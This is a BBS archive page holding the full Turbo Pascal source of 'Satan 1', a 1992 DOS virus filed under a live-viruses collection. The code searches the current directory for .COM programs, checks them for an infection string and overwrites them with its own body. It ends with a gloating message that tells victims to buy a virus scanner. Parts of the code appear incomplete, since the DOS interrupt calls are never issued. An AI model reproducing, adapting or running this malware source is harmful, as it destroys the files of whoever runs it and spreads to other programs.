home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
The Unsorted BBS Collection
/
thegreatunsorted.tar
/
thegreatunsorted
/
live_viruses
/
virus_collections
/
satan.pas
< prev
next >
Wrap
Pascal/Delphi Source File
|
1992-03-15
|
2KB
|
80 lines
{C-}
{U-}
{I-}
Const
VirusSize=12027;
Warning:String[42]='This File Has Been Infrected By Satan 1!';
Type
DtaRec=Record
Dosnext:Array[1..21] of Byte;
Attr:Byte;
FTime,
FDate,
FlSize,
Fhsize:integer;
FullName:Array[1..13] of Char;
End;
Registers=Record
Case Byte of
1:(AX,BX,CX,DX,BP,SI,DI,DS,ES,Flags:Integer);
2:(AL,AH,BL,BH,CL,CH,DL,DH:Byte);
End;
Var
ProgramStart:Byte;
MarkInfected:String[42];
Reg:Registers;
Dta:DtaRec;
Buffer:array[Byte]of Byte;
TestId:string[42];
UsePath:String[66];
UsePathLenght:Byte absolute UsePath;
Go:File;
B:Byte;
Begin
Writeln(Warning);
GetDir(0,UsePath);
If Pos('\',UsePath)<>UsePathLenght then
USePath:=UsePath+'*.Com';
Reg.Ah:=$1a;
Reg.Ds:=Seg(Dta);
Reg.Dx:=Ofs(Dta);
Usepath[Succ(UsePathLenght)]:=#0;
Reg.Ah:=$4E;
Reg.Ds:=Seg(UsePath);
Reg.Dx:=Ofs(UsePath[1]);
Reg.Cx:=$ff;
If not odd(Reg.Flags) Then
Repeat
UsePath:=DTA.FullName;
B:=Pos(#0,UsePath);
If B>0 then
Delete(UsePath, B, 255);
Assign(Go, UsePath);
Reset(Go);
If IOresult=0 Then
Begin
BlockRead(Go, Buffer, 2);
Move(Buffer[$80],TestID, 43);
If TestID<>Warning Then
Begin
Seek(Go,0);
markInfected:=Warning;
BlockWrite(Go,ProgramStart,Succ(VirusSize));
Close(go);
Writeln(UsePath + 'Infected.');
halt;
End;
Close(Go);
End;
Reg.Ah:=$4f;
Reg.DS:=Seg(Dta);
Reg.Dx:=Ofs(Dta);
Until Odd(Reg.Flags);
Write('<Smile>');
Writeln('I have been elected to tell you that the cure to the virus is');
Writeln('simple.. Buy or rather tell someone to get you a McFa scanner');
Writeln('8.4 or Higher to get rid of this menace.. I apligise for the inconvinience');
Writeln('and I hope you will forgive me.. The thrill of doing what could');
Writeln('be done has motivated me to create this menace.. FORGIVE ME!');
End.